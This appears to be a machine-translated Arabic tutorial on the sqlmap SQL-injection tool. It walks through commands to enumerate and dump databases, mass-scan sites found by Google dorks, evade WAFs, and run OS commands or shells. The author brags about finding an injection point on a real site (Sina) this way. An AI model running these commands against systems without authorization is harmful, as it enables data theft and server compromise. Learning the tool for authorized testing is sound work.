Sqlmap
ماهي اداة SqlMap ؟
SQLmap هي أداة مجانية ومفتوحة المصدر للكشف عن ثغرات إدخال SQL واستغلالها. ولها ميزة رائعة ، وهي المعالجة الآلية للكشف والاستخدام (بصمة قاعدة البيانات ، والوصول إلى نظام الملفات الأساسي ، وتنفيذ الأوامر).
كيفية تنزيل Sqlmap:
عنوان التحميل الرسمي لـ SQLmap:
للنزيل علئ Termux او Ubuntu وغيرها
git clone https://github.com/sqlmapproject/sqlmap
للتحديث
python sqlmap.py --update
1. تحديد المعلمات التي يمكن حقنها
2. تحديد تقنية حقن SQL التي يمكن استخدامها للحقن
3. تحديد قاعدة البيانات التي
4. وفقا لاختيار المستخدم ، أي البيانات لقراءة
تدعم sqlmap خمسة أوضاع حقن مختلفة:
- أعمى يعتمد على منطقية ، أي أنه يمكن الحكم على إدخال شروط صحيحة وكاذبة وفقًا للصفحة المرتجعة.
- الرهان الأعمى المستند إلى الوقت ، أي أنه لا يمكنك الحكم على أي معلومات استنادًا إلى المحتوى الذي تعرضه الصفحة ، واستخدم العبارات الشرطية للتحقق مما إذا كان قد تم تنفيذ بيان تأخير الوقت (أي ما إذا كانت زيادة وقت إرجاع الصفحة).
- بناءً على إدخال الخطأ ، أي أن الصفحة ستعرض معلومات الخطأ ، أو سترجع نتيجة البيان الذي تم إدخاله إلى الصفحة مباشرة.
- حقن استعلام مشترك ، يمكنك استخدام الحقن في حالة الاتحاد.
- كومة استعلام حقن ، والتي يمكن أن تؤدي إلى إدخال عبارات متعددة في نفس الوقت.
قواعد البيانات التي تدعمها sqlmap هي:
MySQL و Oracle و PostgreSQL و Microsoft SQL Server و Microsoft Access و IBM DB2 و SQLite و Firebird و Sybase و SAP MaxDB
تجريبي للحقن
يستخدم هذا العرض التوضيحي بيئة Apache + Php + Mysql ، إذا كانت البيئة الأخرى
استخدم SQLMap لإدخال الأمر نفسه
Sqlmap.py -u "http://url/php.php" --dbs
يقوم بإدراج جميع أسماء قاعدة البيانات
Sqlmap.py -u "http://127.0.0.1/sqlinject.php؟id=1" -
قائمة قاعدة البيانات الحالية db الحالية
Sqlmap.py -u "http://127.0.0.1/sqlinject.php؟id=1" --is-dba
تحديد ما إذا كانت نقطة الحقن لها حقوق المسؤول
Sqlmap.py -u "http://127.0.0.1/sqlinject.php؟id=1" -D "test" --tables
تخمين اسم الجدول
Sqlmap.py -u "http://127.0.0.1/sqlinject.php؟id=1" -D "test" -T "test" - Columns
تخمين اسم الحقل
Sqlmap.py -u "http://127.0.0.1/sqlinject.php؟id=1" -D "test" -T "test" -C "id، name" --dump
تخمين قيمة المعرف والاسم
تستخدم اسامي الجداول المتداولة على الإنترنت الجملة التالية
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --dump-all
سيقوم هذا الأمر بتنزيل جميع الجداول الموجودة في قاعدة بيانات الاختبار مباشرة إلى مجلد الإخراج الخاص بدليل التثبيت
http://www.srxh1314.com/sqlmap-penetration.html
http://drops.wooyun.org/tips/1343
إذا كنت تريد ملاحظة كيف تحاول sqlmap الحكم على نقطة وقراءة البيانات ، يمكنك استخدام المعلمة -v.
هناك سبعة مستويات ، الافتراضية:
- عرض أخطاء الثعبان والمعلومات الخطيرة فقط.
- عرض المعلومات الأساسية ومعلومات التحذير في وقت واحد. (إفتراضي)
- عرض معلومات التصحيح في نفس الوقت.
- عرض في وقت واحد الحمولة المحقونة.
- عرض طلب HTTP في نفس الوقت.
- يتم عرض رأس استجابة HTTP أيضًا.
- يتم عرض صفحة استجابة HTTP في نفس الوقت.
التعليمات
الرابط
المعلمات: -u أو --url
التنسيق: http (s): // targeturl [: port] / […]
على سبيل المثال:
python sqlmap.py -u "http://www.target.com/vuln.php؟id=1" -f --banner --dbs --users
احصل على سجلات من Burp أو وكيل WebScarab
المعلمات: -l
يمكنك تفريغ السجلات مباشرة في Burp proxy أو WebScarab proxy إلى sqlmap للتحقق مما إذا كانت هناك عمليات حقن واحدة تلو الأخرى.
احصل على عدة عمليات مسح ضوئي للهدف من النص
المعلمة: -m
تنسيق عنوان URL المحفوظ في الملف كما يلي ، سوف تتحقق sqlmap واحدًا تلو الآخر
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
معالجة نتائج بحث Google
المعلمة: -ج
يمكن لـ sqlmap اختبار معلمات GET المحقونة في نتائج بحث Google (الحصول على أول 100 نتيجة فقط).
مثال:
python sqlmap.py -g "inurl:\".php?id=1\""
(إنها وظيفة جيدة جدًا لـ Niu B. لقد اختبرتها ووجدت نقطة حقن سينا في العاشرة)
بالإضافة إلى ذلك ، يمكنك استخدام المعلمة -c لتحميل التكوين ذي الصلة في ملف sqlmap.conf.
طلب بيانات المتشعب
المعلمات: - data
هذه المعلمة هي تقديم البيانات في وضع POST ، وسوف تكشف sqlmap معلمات POST مثل معلمات GET.
مثال:
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
حرف تقسيم المعلمة
المعلمات: - param-del
هذه المعلمة مطلوبة عندما تحتاج بيانات GET أو POST إلى استخدام أحرف أخرى لتقسيم معلمة الاختبار.
مثال:
python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
مصادقة شهادة HTTP
المعلمات: --auth-cert
عندما يتطلب خادم الويب شهادة عميل للمصادقة ، يجب توفير ملفين: key_file و cert_file.
key_file هو ملف PEM بالتنسيق ويحتوي على مفتاحك الخاص ، و cert_file هو ملف اتصال بتنسيق PEM
وكيل HTTP (S)
المعلمات: - proxy و - proxy-credit و --ignore-proxy
استخدم وكيل proxy بالصيغة: http: // url: port.
عندما يتطلب وكيل HTTP (S) المصادقة ، يمكنك استخدام المعلمة --proxy-credit: username: password.
يرفض --ignore-proxy استخدام وكيل HTTP (S) للشبكة المحلية.
استخدام تلوث معلمات HTTP
المعلمة: -hpp
قد يتجاوز تلوث معلمات HTTP آلية حماية WAF / IPS / IDS ، وهي فعالة جدًا لمنصات ASP / IIS و ASP.NET/IIS.
استخدم صفحة نتائج Google المحددة
المعلمات: --gpage
افتراضيًا ، تستخدم sqlmap أول 100 عنوان URL كاختبارات حقن. باستخدام هذا الخيار ، يمكنك تحديد اختبار URL للصفحة.
الكشف الإرشادي لحماية WAF / IPS / IDS
المعلمات: - check-waf
قد تتسبب حماية WAF / IPS / IDS في مشاكل كبيرة في sqlmap. إذا كنت تشك في أن الهدف لديه هذه الحماية ، يمكنك استخدام هذه المعلمة للاختبار. سيستخدم sqlmap معلمة غير موجودة لإدخال الاختبار
على سبيل المثال:
&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1
إذا كانت هناك حماية ، فقد تكون نتيجة الإرجاع مختلفة.
استخدم اختصارات المعلمات
المعلمات: -z
بعض معلمات الاستخدام طويلة جدًا ومعقدة ، يمكنك استخدام وضع الاختصار. على سبيل المثال:
python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"
يمكن كتابتها على النحو التالي:
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"
و أيضا:
python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"
يمكن كتابتها على النحو التالي:
python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"
وقت الانتهاء المقدر
المعلمات: --eta
يمكن حساب الوقت المتبقي للبيانات المحقونة.
على سبيل المثال ، الملاحظة العمياء المنطقية من Oracle:
python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
تقوم sqlmap أولاً بإخراج الطول ووقت الإكمال المقدر ونسبة العرض وأحرف الإخراج
يحدد محدد الإخراج إلى CSV
المعاملات: - csv-del
عندما يتم حفظ التفريغ بتنسيق CSV (--dump-format = CSV) ، يلزم تحديد محدد ويكون الإعداد الافتراضي فاصلة. ويمكن للمستخدم أيضًا تغييره إلى شيء آخر:
--csv-del=";"
مصادقة DBMS
المعلمات: - dbms-credit
في بعض الأحيان ، لا تكون أذونات المستخدم الحالية كافية ، وستفشل بعض العمليات. إذا كنت تعرف كلمة مرور المستخدم ذي الامتيازات العالية ، فيمكنك استخدام هذه المعلمة. تحتوي بعض قواعد البيانات على آلية تشغيل خاصة للتبديل بين المستخدمين مثل وظيفة OPENROWSET في Microsoft SQL Server
قم بتشغيل أي أمر نظام تشغيل
المعلمات: --os-cmd ، --os-shell
عندما تكون قاعدة البيانات هي MySQL أو PostgreSQL أو Microsoft SQL Server ويكون لدى المستخدم الحالي إذن لاستخدام وظائف محددة.
قم بتحميل مكتبة ثنائية في MySQL و PostgreSQL و sqlmap ، بما في ذلك الوظائف المعرفة من قبل المستخدم و sys_exec () و sys_eval ().
ثم يمكن للوظيفتين التي أنشأها تنفيذ أوامر النظام. في Microsoft SQL Server ، سيستخدم sqlmap الإجراء xp_cmdshell المخزن. إذا تم تعطيله (افتراضيًا في Microsoft SQL Server 2005 والإصدارات الأحدث) ، فستعيد sqlmap تمكينه ، إذا لم يكن موجودًا ، فسيتم إنشاؤه تلقائيًا.
أعط مثالاً على PostgreSQL:
python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \--os-cmd id -v 1
تعليقات
إرسال تعليق